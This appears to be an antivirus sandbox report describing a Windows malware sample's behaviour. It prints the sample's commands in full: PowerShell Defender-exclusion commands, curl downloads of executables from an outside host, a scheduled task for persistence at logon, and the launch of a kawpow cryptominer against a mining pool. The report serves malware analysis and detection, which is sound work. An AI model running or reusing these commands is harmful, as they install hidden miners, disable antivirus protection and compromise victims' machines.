Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\av-update.sys
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "$filePath = '<Full path to file>'; Add-MpPreference -ExclusionPath $filePath"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "$filePath = '%TEMP%\1327830878-1312909786-87585709-1153783906.tmp'; Add-MpPreference -ExclusionPath $filePath"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "$filePath = '%TEMP%\$77-1352845002-1350835109-62444399-1307325763.tmp'; Add-MpPreference -ExclusionPath $filePath"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "$filePath = '%TEMP%\$77-1326939555-1245531326-74317056-1366239710.tmp'; Add-MpPreference -ExclusionPath $filePath"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "$filePath = '%TEMP%\$77-1190157127-1158573048-24336619-1171905100.tmp'; Add-MpPreference -ExclusionPath $filePath"
Modifies file system
Creates the following files
- nul
Network activity
Connects to
- 'ud####ervices.space':80
TCP
HTTP GET requests
- http://ud####ervices.space/publicapi/api/?ty################
UDP
- DNS ASK google.com
- DNS ASK ud####ervices.space
Miscellaneous
Restarts the analyzed sample
Executes the following
- '<SYSTEM32>\cmd.exe' /C powershell -Command "$filePath = '<Full path to file>'; Add-MpPreference -ExclusionPath $filePath"
- '<SYSTEM32>\cmd.exe' /c curl http://udmanservices.space/fileuploader/uploads/udman1337/tU7SjcFMPN_UninstallRootkit.exe -o %TEMP%\1327830878-1312909786-87585709-1153783906.tmp --silent
- '<SYSTEM32>\cmd.exe' /C powershell -Command "$filePath = '%TEMP%\$77-1190157127-1158573048-24336619-1171905100.tmp'; Add-MpPreference -ExclusionPath $filePath"
- '<SYSTEM32>\cmd.exe' /c curl http://udmanservices.space/files/trex.exe -o %TEMP%\$77-1326939555-1245531326-74317056-1366239710.tmp --silent
- '<SYSTEM32>\cmd.exe' /C powershell -Command "$filePath = '%TEMP%\$77-1326939555-1245531326-74317056-1366239710.tmp'; Add-MpPreference -ExclusionPath $filePath"
- '<SYSTEM32>\cmd.exe' /c curl http://udmanservices.space/fileuploader/uploads/udman1337/KkXMDaEiX1_SilentRunner.exe -o %TEMP%\$77-1190157127-1158573048-24336619-1171905100.tmp --silent
- '<SYSTEM32>\ping.exe' -n 1 google.com
- '<SYSTEM32>\cmd.exe' /c curl http://udmanservices.space/fileuploader/uploads/udman1337/ZHEDZwnqkR_Lucky.exe -o %TEMP%\$77-1352845002-1350835109-62444399-1307325763.tmp --silent
- '<SYSTEM32>\cmd.exe' /C powershell -Command "$filePath = '%TEMP%\1327830878-1312909786-87585709-1153783906.tmp'; Add-MpPreference -ExclusionPath $filePath"
- '<SYSTEM32>\cmd.exe' /c ping -n 1 google.com > nul
- '<SYSTEM32>\schtasks.exe' /create /sc onlogon /tn "av-update.sys" /tr "<Full path to file>" /rl HIGHEST /f
- '<SYSTEM32>\cmd.exe' /c schtasks /create /sc onlogon /tn "av-update.sys" /tr "<Full path to file>" /rl HIGHEST /f >nul
- '<SYSTEM32>\cmd.exe' /c start %TEMP%\$77-1190157127-1158573048-24336619-1171905100.tmp "%TEMP%\$77-1326939555-1245531326-74317056-1366239710.tmp -a kawpow -o stratum+tcp://stratum.ravenminer.com:3838 -u RKgbt7WPpPo...
- '<SYSTEM32>\cmd.exe' /C powershell -Command "$filePath = '%TEMP%\$77-1352845002-1350835109-62444399-1307325763.tmp'; Add-MpPreference -ExclusionPath $filePath"
- '<SYSTEM32>\cmd.exe' /C powershell -Command "$filePath = '<Full path to file>'; Add-MpPreference -ExclusionPath $filePath"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C powershell -Command "$filePath = '%TEMP%\$77-1190157127-1158573048-24336619-1171905100.tmp'; Add-MpPreference -ExclusionPath $filePath"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C powershell -Command "$filePath = '%TEMP%\$77-1352845002-1350835109-62444399-1307325763.tmp'; Add-MpPreference -ExclusionPath $filePath"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C powershell -Command "$filePath = '%TEMP%\$77-1326939555-1245531326-74317056-1366239710.tmp'; Add-MpPreference -ExclusionPath $filePath"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C powershell -Command "$filePath = '%TEMP%\1327830878-1312909786-87585709-1153783906.tmp'; Add-MpPreference -ExclusionPath $filePath"' (with hidden window)